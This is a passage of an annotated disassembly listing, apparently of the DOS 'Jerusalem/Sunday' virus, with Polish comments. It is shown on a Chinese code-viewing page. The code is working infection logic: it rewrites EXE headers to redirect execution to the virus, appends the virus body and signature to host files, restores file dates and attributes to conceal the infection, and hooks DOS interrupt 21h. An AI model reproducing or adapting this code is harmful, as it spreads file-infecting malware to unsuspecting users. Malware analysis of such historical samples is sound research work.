📄 j_sundyb.lst
字号:
MOV SI,OFFSET L0005 ;dopisanie ogonka ;9643 BE 05 00
MOV CX,5 ;9646 B9 05 00
PUSH DS ;9649 1E
PUSH CS ;964A 0E
POP DS ;964B 1F
REPZ MOVSB ;964C F3 A4
POP DS ;964E 1F
MOV CX,DI ;nowa dlugosc programu ;964F 8B CF
XOR DX,DX ;bufor z wynikowym programem ;9651 33 D2
MOV AH,40H ;Write Handle ;9653 B4 40
INT 21H ;9655 CD 21
L9657: JB L9666 ;9657 72 0D
JMP L9723 ;9659 E9 C7 00
;<----- Zarazenie EXE'ca
L965C: MOV CX,1Ch ;EXE file header - dlugosc ;965C B9 1C 00
MOV DX,OFFSET L004F ; - bufor ;965F BA 4F 00
MOV AH,3FH ;Read Handle ;9662 B4 3F
INT 21H ;9664 CD 21
L9666: JB L96B2 ;9666 72 4A
MOV WORD PTR L0061,1984h ;suma kontrolna ;9668 C7 06 61 00 84 19
MOV AX,L005D ;SS ;966E A1 5D 00
MOV L0045,AX ;9671 A3 45 00
MOV AX,L005F ;SP ;9674 A1 5F 00
MOV L0043,AX ;9677 A3 43 00
MOV AX,L0063 ;IP ;967A A1 63 00
MOV L0047,AX ;967D A3 47 00
MOV AX,L0065 ;CS ;9680 A1 65 00
MOV L0049,AX ;9683 A3 49 00
MOV AX,L0053 ;sile size - pages ;9686 A1 53 00
CMP WORD PTR L0051,0 ;last page bytes ;9689 83 3E 51 00 00
JZ L9691 ;968E 74 01
DEC AX ;9690 48
L9691: MUL WORD PTR L0078 ;* <bytes per page> ;9691 F7 26 78 00
ADD AX,L0051 ;+last page bytes ;9695 03 06 51 00
ADC DX,0 ;9699 83 D2 00
ADD AX,0Fh ;zaokraglenie ;969C 05 0F 00
ADC DX,0 ;969F 83 D2 00
AND AX,0FFF0h ;96A2 25 F0 FF
MOV L007C,AX ;96A5 A3 7C 00
MOV L007E,DX ;96A8 89 16 7E 00
ADD AX,OFFSET L0664 ;dlugosc z sygnatura ;96AC 05 64 06
ADC DX,0 ;96AF 83 D2 00
L96B2: JB L96EE ;96B2 72 3A
DIV WORD PTR L0078 ;bytes per page ;96B4 F7 36 78 00
OR DX,DX ;czy jest reszta ? ;96B8 0B D2
JZ L96BD ;-> nie ;96BA 74 01
INC AX ;<- jest reszta ;96BC 40
L96BD: MOV L0053,AX ;pages per file ;96BD A3 53 00
MOV L0051,DX ;last page bytes ;96C0 89 16 51 00
MOV AX,L007C ;nowa dlugosc calosci ;96C4 A1 7C 00
MOV DX,L007E ;96C7 8B 16 7E 00
DIV WORD PTR L007A ;na paragrafy ;96CB F7 36 7A 00
SUB AX,L0057 ;header size ;96CF 2B 06 57 00
MOV L0065,AX ;CS wirusa ;96D3 A3 65 00
MOV WORD PTR L0063,OFFSET L00C4 ;IP wirusa ;96D6 C7 06 63 00 C4 00
MOV L005D,AX ;SS wirusa ;96DC A3 5D 00
MOV WORD PTR L005F,OFFSET L065D ;SP wirusa ;96DF C7 06 5F 00 5D 06
XOR CX,CX ;96E5 33 C9
MOV DX,CX ;96E7 8B D1
MOV AX,4200h ;Move file ptr BOF+offs ;96E9 B8 00 42
INT 21H ;96EC CD 21
L96EE: JB L96FA ;96EE 72 0A
MOV CX,1Ch ;zapis zmodyf. headera ;96F0 B9 1C 00
MOV DX,OFFSET L004F ;96F3 BA 4F 00
MOV AH,40H ;write handle ;96F6 B4 40
INT 21H ;96F8 CD 21
L96FA: JB L970D ;96FA 72 11
CMP AX,CX ;96FC 3B C1
JNZ L9723 ;-> nie cale poszlo ;96FE 75 23
MOV DX,L007C ;nowa dlugosc zbioru ;9700 8B 16 7C 00
MOV CX,L007E ;9704 8B 0E 7E 00
MOV AX,4200h ;Move file ptr BOF+offs ;9708 B8 00 42
INT 21H ;970B CD 21
L970D: JB L9723 ;970D 72 14
XOR DX,DX ;970F 33 D2
MOV CX,065Fh ;9711 B9 5F 06
MOV AH,40H ;Write Handle ;9714 B4 40
INT 21H ;9716 CD 21
MOV CX,5 ;9718 B9 05 00
LEA DX,L0005 ;971B 8D 16 05 00
MOV AH,40H ;Write Handle ;971F B4 40
INT 21H ;9721 CD 21
;<----- wspolny koniec
L9723: CMP WORD PTR CS:L008F,0 ;znacznik zajecia bloku ;9723 2E 83 3E 8F 00 00
JZ L972F ;9729 74 04
MOV AH,49H ;Free allocated memory ;972B B4 49
INT 21H ;972D CD 21
L972F: CMP WORD PTR CS:L0070,-1 ;File handle ;972F 2E 83 3E 70 00 FF
JZ L9768 ;-> nie otwarty ;9735 74 31
MOV BX,CS:L0070 ;File handle ;9737 2E 8B 1E 70 00
MOV DX,CS:L0074 ;973C 2E 8B 16 74 00
MOV CX,CS:L0076 ;9741 2E 8B 0E 76 00
MOV AX,5701h ;Set File Time/Date ;9746 B8 01 57
INT 21H ;9749 CD 21
MOV AH,3EH ;Close Handle ;974B B4 3E
INT 21H ;974D CD 21
PUSH CS ;974F 0E
POP DS ;9750 1F
LDS DX,DWORD PTR L0080 ;ptr nazwy zbioru ;9751 C5 16 80 00
MOV CX,CS:L0072 ;atry zarazanego zbioru ;9755 2E 8B 0E 72 00
MOV AX,4301h ;Set File Attributes ;975A B8 01 43
INT 21H ;975D CD 21
LEA DX,L001B ;975F 8D 16 1B 00
MOV AX,2524h ;Set int 24h vector ;9763 B8 24 25
INT 21H ;9766 CD 21
L9768: POP ES ;9768 07
POP DS ;9769 1F
POP DI ;976A 5F
POP SI ;976B 5E
POP DX ;976C 5A
POP CX ;976D 59
POP BX ;976E 5B
POP AX ;976F 58
POPF ;9770 9D
JMP DWORD PTR CS:L0017 ;old int 21h ;9771 2E FF 2E 17 00
L05F6 dw 03FCh ;<- adres wektora int ff ;9776 FC 03
dw 0 ;9778 00 00
;<------ stos
db 0 ;977A 00
dw 0 ;977B 00 00
dw 0 ;977D 00 00
dw 0 ;977F 00 00
dw 0 ;9781 00 00
dw 0 ;9783 00 00
dw 0 ;9785 00 00
dw 0 ;9787 00 00
dw 0 ;9789 00 00
dw 0 ;978B 00 00
dw 0 ;978D 00 00
dw 0 ;978F 00 00
dw 0 ;9791 00 00
dw 0 ;9793 00 00
dw 0 ;9795 00 00
dw 0 ;9797 00 00
dw 0 ;9799 00 00
dw 0 ;979B 00 00
dw 0 ;979D 00 00
dw 0 ;979F 00 00
dw 0 ;97A1 00 00
dw 0 ;97A3 00 00
dw 0 ;97A5 00 00
dw 0 ;97A7 00 00
dw 156Ch ;97A9 6C 15
dw 1261h ;97AB 61 12
dw 2524h ;97AD 24 25
dw 0005h ;97AF 05 00
dw 0020h ;97B1 20 00
dw 04EBh ;97B3 EB 04
dw 0006h ;97B5 06 00
dw 156Ch ;97B7 6C 15
dw 2508h ;97B9 08 25
dw 0FEA5h ;97BB A5 FE
dw 07BCh ;97BD BC 07
dw 0216h ;97BF 16 02
dw 065Eh ;97C1 5E 06
dw 156Ch ;97C3 6C 15
dw 0C89h ;97C5 89 0C
dw 012Fh ;97C7 2F 01
dw 7F04h ;97C9 04 7F
dw 0075h ;97CB 75 00
dw 065Eh ;97CD 5E 06
dw 5A1Dh ;97CF 1D 5A
dw 0 ;97D1 00 00
dw 9301h ;97D3 01 93
dw 0BA6h ;97D5 A6 0B
dw 0213h ;97D7 13 02
dw 0C89h ;97D9 89 0C
dw 0F202h ;97DB 02 F2
L065D dw 2700h ;szczyt stosu ;97DD 00 27
L065F DB 0C8H,0F7h,0E1h,0EEh,0E7h ;97DF C8 F7 E1 EE E7
L0664 label byte
S9180 ENDS
END L9244
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -